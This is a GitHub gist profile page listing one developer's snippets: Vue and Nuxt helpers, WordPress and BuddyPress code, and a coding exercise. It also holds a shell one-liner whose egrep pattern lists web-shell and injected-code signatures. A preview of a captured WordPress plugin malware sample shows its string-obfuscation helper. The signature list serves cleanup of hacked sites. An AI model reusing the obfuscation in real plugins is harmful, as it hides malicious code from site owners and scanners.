Skip to content

Instantly share code, notes, and snippets.

View vladimirlukyanov's full-sized avatar
🗯️
It's during our darkest moments that we must focus to see the light

Vladimir Lukyanov vladimirlukyanov

🗯️
It's during our darkest moments that we must focus to see the light
View GitHub Profile
@vladimirlukyanov
vladimirlukyanov / listen_for_input_change_programatically.js
Last active May 3, 2024 19:09
Listen for input change programmatically | Vanilla JS
<script type="text/javascript">
let event = new Event('change');
let inputBox = document.querySelector("#shipping_postcode");
const descriptor = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(inputBox), 'value');
Object.defineProperty(inputBox, 'value', {
set: function(t) {
if(t === '') return;
<?php
$args = array(
//////Author Parameters - Show posts associated with certain author.
//http://codex.wordpress.org/Class_Reference/WP_Query#Author_Parameters
'author' => '1,2,3', //(int) - use author id [use minus (-) to exclude authors by ID ex. 'author' => '-1,-2,-3,']
'author_name' => 'luetkemj', //(string) - use 'user_nicename' (NOT name)
'author__in' => array(2, 6), //(array) - use author id (available with Version 3.7).
'author__not_in' => array(2, 6), //(array)' - use author id (available with Version 3.7).
@vladimirlukyanov
vladimirlukyanov / webpack hot reload disable nuxt.js
Last active November 8, 2023 10:20
webpack hot reload disable nuxt
// Add this to nuxt.config.js
build: {
publicPath: '/zenith/',
analyze: false,
hotMiddleware : {
reload:false
},
// watch: ['api', 'modules'],
extend(config, {isDev, isClient}) {
@vladimirlukyanov
vladimirlukyanov / clean.sh
Created September 26, 2016 17:01
Clear WordPress hacked dir
find ~/public_html -type f -iname "*.php" ! -iname "importbuddy.php" ! -iname "_repairbuddy.php" ! -iname "class-smtp.php" ! -iname "Excel5.php" ! -iname "OLERead.php"| xargs -i egrep -Hli '\@\$GLOBALS.*continue|GLOBALS.*x61|FbU73jxn|edE0lF|IGlmICgg|"1.sh"|GLOBALS.*ieetj84|rBOxlFeDa|rWmpisiBWQ|na20571|eval.*q272748|GET.*ineedthispage|x77.x69.x76|rWmyiJg3T|hacked\ by|eNqdWPtv|vd56b6998|filesman|Googleman|YYKJKaSZ.*\$_POST.*ppeRDsIfDuUi|5ebfbb39|c99shell|bar\/index|client.*x05.x01|POST.*do.*brut|img.*empty.*referrer|AtOPvMzpDq|5UpbRhpW|Qb08tTv2|ko0l|eval.stripslashes.array_pop\(\$_POST|www.*_POST.*yt.*ad.e|QGluaV9|doctoregpg|AnonGhost|AJVkA2M4om|an9dcW1i|PCT4BA6OD|aXNfdXBsb|zZ3HjuNg|E7DsuED2|DarkCrewFriends|zaprosname|HZBL02N|edoced|ZXZhbChiY|7X17f9rG' "{}"
@vladimirlukyanov
vladimirlukyanov / render_vue_from_string_ajax_call.js
Created February 22, 2021 13:19
Render Vue.js from string or AJAX call context
let el = Vue.compile(`<MuiIcon icon="${icon}" />`);
el = new Vue({
components: {
MuiIcon
},
vuetify,
render: el.render,
staticRenderFns: el.staticRenderFns
}).$mount();
return el.$el.outerHTML;
@vladimirlukyanov
vladimirlukyanov / WordPress.GFX.plugins.malware.php
Created October 21, 2015 12:04
WordPress GFX plugins malware
<?php
if (!function_exists('wp_en_one')) {
function glues_it($string)
{
$glue_pre = sanitize_key('s t r _ r e p l a c e');
$glueit_po = call_user_func_array($glue_pre, array("..", '', $string));
return $glueit_po;
}
@vladimirlukyanov
vladimirlukyanov / distinct.php
Created May 11, 2020 14:58
Implement a function distinct(...), which expects an array of integers and sorts these ascendingly. The array shall not contain repetitions of any integer value but '1'. Repetitions of '1' should be the last values of the array.
<?php
/**
* @param array $array
*
* @return array | false
*/
function distinct( array $arr ) {
if ( is_array( $arr ) ) {
@vladimirlukyanov
vladimirlukyanov / BuddyPress_navigation_names_change.php
Created July 1, 2016 10:40
Changing navigation names of BuddyPress
<?php
function mb_profile_menu_tabs() {
global $bp;
$bp->bp_nav['groups']['name'] = str_replace( 'Groups', '群', $bp->bp_nav['groups']['name'] );
$bp->bp_nav['friends']['name'] = str_replace( 'Friends', '好友', $bp->bp_nav['friends']['name'] );
$bp->bp_nav['messages']['name'] = str_replace( 'Messages', '信息', $bp->bp_nav['messages']['name'] );
$bp->bp_nav['notifications']['name'] = str_replace( 'Notifications', '通知', $bp->bp_nav['notifications']['name'] );
$bp->bp_nav['forums']['name'] = '论坛';
}
@vladimirlukyanov
vladimirlukyanov / programatically_add_route_nuxt.js
Created April 27, 2018 02:54
Nuxt.js programactically add route
const { resolve } = require('path');
module.exports = function() {
this.extendRoutes(routes => {
routes.push({
name: 'admin',
path: '/admin',
component: resolve('./pages/index.vue')
})
@vladimirlukyanov
vladimirlukyanov / 404-redirect.js
Last active April 23, 2018 07:23
Nuxt.js 404 error handling | Nuxt.js 404 redirect | Nuxt.js middleware routing
// Add this file to /middleware
export default function ({params, route, redirect}) {
if(route.matched.length === 0) { // route is not found, redirect to homepage
redirect('302', '/');
}
}